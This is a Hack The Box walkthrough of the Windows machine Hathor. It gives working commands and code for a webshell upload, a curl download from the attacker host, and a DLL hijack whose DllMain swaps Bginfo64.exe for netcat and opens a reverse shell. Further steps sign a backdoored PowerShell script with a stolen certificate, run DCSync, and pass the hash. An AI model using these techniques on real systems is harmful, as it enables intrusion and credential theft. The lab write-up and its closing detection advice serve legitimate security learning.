HTB Hathor Walkthrough ITA: AppLocker Bypass, DLL Hijacking and DCSync on Windows Insane

HTB Hathor Walkthrough: AppLocker Bypass, DLL Hijacking over SMB, Code Signing with a Stolen Certificate, and DCSync Without NTLM. Insane Windows Machine
- Posted on 2026-05-30
- Reading time: 6 min
HTB Hathor is one of Hack The Box's toughest Windows machines— rated Insane , and you can tell right away. Every step has an additional obstacle: AppLocker, Windows Defender, outbound firewall, disabled NTLM. Knowing how to use the tools isn't enough—you have to understand how each defense works to bypass it. In this walkthrough, you'll see the entire kill chain: from a CMS web app to the final DCSync, via DLL hijacking, code signing with a stolen certificate from the Recycle Bin, and pure Kerberos authentication.
Recon #
nmap -p- --min-rate 10000 10.10.11.147
nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.147Relevant open ports: DNS (53), HTTP (80), Kerberos (88), LDAP (389), SMB (445), WinRM (5985). TLS certificate over LDAP reveals hostname hathor.windcorp.htb and the domain windcorp.htb. Add both to /etc/hosts.
NTLM is disabled —you know it right away when SMB responds STATUS_NOT_SUPPORTEDEverything goes through Kerberos. Keep this in mind from the beginning because it affects every subsequent step.
crackmapexec smb 10.10.11.147 --shares -u guest -p ''
# [-] STATUS_NOT_SUPPORTED → NTLM offHigh priority ports: HTTP (80) and SMB (445). WinRM (5985) is open — useful if we find valid credentials.
Shell as web #
CVE-2022-40123 — Path Traversal (partial) #
Door 80 exposes mojoPortal v2.7I'll register a normal user and immediately try the path traversal known to me in this version. The parameter f di /DesignTools/CssEditor.aspx does not sanitize the path:
/DesignTools/CssEditor.aspx?s=framework&f=../../../../../web.configThe vulnerability works—the request goes through, the response comes back. The problem is, I can't read anything useful: sensitive files are inaccessible with this user or the output is empty. Dead end.
Admin login — default credentials #
I search online for vulnerabilities in mojoPortal v2.7 and find a blog that mentions the default credentials: admin@admin.com / adminI'll try them — they come in. Access to the full admin panel.
CVE-2022-40341 — Arbitrary File Upload → Webshell #
mojoPortal v2.7 does not validate the contents of files uploaded via File Manager on /Admin/FileManagerAlt.aspxThe filter only checks the extension at the time of upload — it blocks .aspx directly — but does not block .png.
I get the ASPX reverse shell from borjmz/aspx-reverse-shell
, set IP and port, and save the file as foto.png. From the File Manager I use the upload form — the file is accepted without problems because the extension is .png.
I locate the public path by looking at where the other media files on the site end up: underconstruction.png and under /Data/Sites/1/media/, Then foto.png it's there. Then I use the function Copy of the File Manager to copy it with name foto.aspx — direct rename is blocked on the server side, copying with a different name is not.
Webshell: http://10.10.11.147/Data/Sites/1/media/foto.aspxI call it and get a shell like web.
nc -lvnp 80
# Connection received on 10.10.11.147
# Microsoft Windows [Version 10.0.20348.643]
# windcorp\webLater I notice that many commands are blocked, there is something that does not convince me..
List of defenses #
# Defender
Get-MpComputerStatus | select AMRunningMode, RealTimeProtectionEnabled
# RealTimeProtectionEnabled: True
# PowerShell Language Mode
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage → AppLocker attivo
# AppLocker — stato enforcement per categoria
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections | select RuleCollectionType, EnforcementMode
# AppLocker — regole complete
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections | Format-List
# AppLocker — solo Allow
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections | Format-List | Out-String | Select-String "Allow"
# Firewall — stato profili
netsh advfirewall show allprofiles state
# Firewall — blocchi outbound per programma
Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq "Block" } | select DisplayName, DirectionThe full picture:
Defender : Active, real-time protection on. Any MSF payload is removed within seconds.
ConstrainedLanguage : AppLocker is on, PS cannot use arbitrary .NET types or COM objects.
AppLocker allows:
- DLLs: signed by Microsoft, in
Program Files/Windows, or explicitlyC:\share\scripts\7-zip64.dlleC:\Get-bADpasswords\PSI\Psi_x64.dll - EXE: signed by
administrator@windcorp.com, orC:\share\Bginfo64.exe(whitelisted by path) - Script
.ps1: signed byadministrator@windcorp.htb
Firewall block outbound by program (16 rules): cscript, PowerShell, PowerShell ISE, regsvr32, rundll32, wscript, certutil, certoc, AutoIt — 32 and 64 bit.
curl on cmd it is not blocked — this becomes the vector for downloading files to the machine without going through PS or certutil:
curl http://10.10.14.X/nc64.exe -o C:\Windows\Temp\nc64.exeSMB as Beatrice Mill #
Enumeration #
In C:\Get-bADpasswords\Accessible\CSVs\ There are periodic exports of the domain's weak passwords. The most recent one contains:
Activity;Password Type;Account Name;Account password hash
active;weak;BeatriceMill;9cb01504ba0247ad5c6e08f7ccae7903Crackable MD5 hash on CrackStation: !!!!ilovegood17
Kerberos instead of NTLM #
NTLM is disabled — STATUS_NOT_SUPPORTED on any direct attempt. Configure /etc/krb5.conf:
[libdefaults]
default_realm = WINDCORP.HTB
[realms]
WINDCORP.HTB = {
kdc = HATHOR.WINDCORP.HTB
admin_server = HATHOR.WINDCORP.HTB
}kinit beatricemill
# inserisci !!!!ilovegood17
klist
# Ticket cache: FILE:/tmp/krb5cc_1000
# Default principal: beatricemill@WINDCORP.HTBImportant: Use thehostname, not the IP. Kerberos requires DNS resolution — add the DC as a nameserver in /etc/resolv.conf if queries fail.
# SMB con Kerberos
crackmapexec smb hathor.windcorp.htb -k -d windcorp.htb -u beatricemill -p '!!!!ilovegood17' --shares
# oppure smbclient.py (Impacket) — non richiede nameserver
smbclient.py -k 'windcorp.htb/beatricemill:!!!!ilovegood17@hathor.windcorp.htb'BeatriceMill has READ/WRITE on the share share. Inside: AutoIt3_x64.exe, Bginfo64.exe, and the folder scripts/ with 7-zip64.dll.
Shell as GinaWild #
Share enumeration #
With a monitoring loop you verify that both processes run as scheduled tasks every ~3 minutes, in the context of GinaWild:
FOR /L %i IN (0,1,1000) DO (
tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks" &
tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" &
ping -n 2 127.0.0.1 > NUL
)~30 seconds of AutoIt3_x64.exe, then ~10 seconds of Bginfo64.exe. Spin like GinaWild.
DLL Hijacking — Check Permissions #
First try to overwrite the EXEs directly via SMB — NT_STATUS_ACCESS_DENIED. Bad DLLs are not blocked:
smb: \scripts\> put nc64.exe 7-zip64.dll
# putting file nc64.exe as \scripts\7-zip64.dll ✓7-zip64.dll It's whitelisted by AppLocker and writeable by everyone. The AutoIt task loads it—if you replace it with a malicious DLL, it runs as GinaWild.
First try a DLL with just a ping to verify execution:
case DLL_PROCESS_ATTACH:
system("cmd.exe /c ping 10.10.14.X");sudo tcpdump -ni tun0 icmp
# ICMP echo request da 10.10.11.147 → esecuzione confermataStrategy: AutoIt blocked → Bginfo64 not blocked #
AutoIt is blocked outbound by the firewall — a reverse shell directly from the DLL does not work. However, GinaWild has WO (WriteOwner) on Bginfo64.exe, which is whitelisted in AppLocker and NOT blocked outbound. The DLL does 4 things in sequence:
// reverse.cpp - Visual Studio, Release x64
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe");
system("cmd.exe /c icacls C:\\share\\Bginfo64.exe /q /c /t /grant ginawild:F");
system("cmd.exe /c copy /Y C:\\Windows\\Temp\\nc64.exe C:\\share\\Bginfo64.exe");
system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.X 9003");
break;
}
return TRUE;
}
icaclswith/q /c /t /grant ginawild:F— without these flags the command may fail silently.
Compile (Release x64), upload over SMB overwriting scripts\7-zip64.dll, wait for the task:
nc -lvnp 9003
# Connection received on 10.10.11.147
# windcorp\GinaWildShell as bpassrunner #
Enumeration — Desktop Link and Recycle Bin #
On the Public Desktop (C:\Users\Public\Desktop\) there is a file bAD Passwords.lnk. Solve the target:
$sh = New-Object -ComObject WScript.Shell
$sh.CreateShortcut('.\bAD Passwords.lnk').TargetPath
# C:\Get-bADpasswords\run.vbsrun.vbs is already signed (has a signature block at the bottom) — can run under AppLocker. It will trigger the execution of Get-bADpasswords.ps1.
In GinaWild's Recycle Bin (SID: -2663):
dir /a C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\
# $IZIX7VV.pfx (metadata)
# $RLYS3KF.pfx
# $RZIX7VV.pfxThe metadata file reveals the original name: C:\Users\GinaWild\Desktop\cert.pfx. Copy everything to the SMB share and download to Kali.
PFX Certificate Crack #
# Analisi iniziale
openssl pkcs12 -in cert.pfx -info
# chiede password
# pfx2john + john
pfx2john '$RLYS3KF.pfx' > cert.hash
john cert.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Password: abceasyas123
# Verifica contenuto
openssl pkcs12 -in '$RLYS3KF.pfx' -passin pass:abceasyas123 -info -noout
# Subject e Extended Key Usage
openssl pkcs12 -in '$RLYS3KF.pfx' -passin pass:abceasyas123 -nokeys | \
openssl x509 -noout -text | grep -A5 "Subject\|Extended Key"
# Subject: CN=Administrator, CN=Users, DC=windcorp, DC=htb
# Extended Key Usage: Code Signing
# Estrai CA chain
openssl pkcs12 -in '$RLYS3KF.pfx' -passin pass:abceasyas123 -nokeys -cacerts -out ca.pemThe certificate is made out to CN=Administrator with Code Signing like EKU. AppLocker allows scripts .ps1 signed by administrator@windcorp.htbThis is the bypass.
Get-bADpasswords.ps1 hijack #
Get-bADpasswords.ps1 turns like bpassrunner — account with AD replication privileges. Download the script via SMB (rename it). .txt because .ps1 is locked on the share), add the payload on top, then sign on Windows:
$pass = ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force
$cert = Import-PfxCertificate -FilePath C:\temp\cert.pfx `
-Password $pass -CertStoreLocation Cert:\CurrentUser\My
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $cert
# Status: Valid ✓Payload added to the top of the script:
C:\share\Bginfo64.exe -e cmd 10.10.14.X 9004Triggers with:
cscript C:\Get-bADpasswords\run.vbsnc -lvnp 9004
# Connection received on 10.10.11.147
# windcorp\bpassrunnerShell as Administrator #
DCSync #
bpassrunner has the permits Replicating Directory Changes AllI'm taking this opportunity to run DCSync on all domain users—just for fun, but also to collect all the hashes:
# Tutti e 3 gli utenti interessanti
Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb'
Get-ADReplAccount -SamAccountName GinaWild -Server 'hathor.windcorp.htb'
Get-ADReplAccount -SamAccountName bpassrunner -Server 'hathor.windcorp.htb'
# Administrator NTHash: b3ff8d7532eef396a5347ed33933030fFinal shell with nxc #
NTLM is disabled — with -k netexec uses Kerberos, and with -H Pass the NT hash to get the TGT. It's not needed beforehand. getTGT.py — nxc handles everything internally. I use -x to execute the command directly on the machine:
nxc smb 10.129.230.109 -u administrator -H 'b3ff8d7532eef396a5347ed33933030f' \
-d windcorp.htb -k -x "C:\share\Bginfo64.exe 10.10.14.123 8888 -e cmd.exe"nc -lvnp 8888
# Connection received on 10.10.11.147
# windcorp\Administrator
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txtMITRE ATT&CK Coverage #
| Technology | ID | Description |
|---|---|---|
| Default Credentials | T1078.001 | Login mojoPortal admin@admin.com / admin |
| Unrestricted File Upload | T1505.003 | PNG with ASPX renamed via Copy (CVE-2022-40341) |
| DLL Side-Loading | T1574.002 | Overwriting 7-zip64.dll via SMB |
| File Permission Modification | T1222.001 | takeown + icacls on Bginfo64.exe by GinaWild |
| Subvert Trust: Code Signing | T1553.002 | PS1 signed with certificate from Recycle Bin |
| DCSync | T1003.006 | Get-ADReplAccount as bpassrunner |
| Pass-the-Hash via Kerberos | T1550.003 | TGT from NT hash with NTLM disabled |
Detection & Remediation #
- Default credentials: any CMS must be hardened before deployment —
admin@admin.com / adminon mojoPortal it is still the default - Upload restriction bypass: blocking only the extension at the time of upload is not enough — the control must also be applied to rename and copy
- Writing DLLs to SMB Shares: Overwriting a whitelisted DLL by a non-admin user is a strong warning — Event ID 5145
- Edit permissionsEvent ID 4670 from non-admin users on critical paths should be alerted.
- Code signing certificates in the Recycle Bin: rotate and revoke immediately
- DCSync Privileges: only specific service accounts should have Replicating Directory Changes All — monitor with Event ID 4662


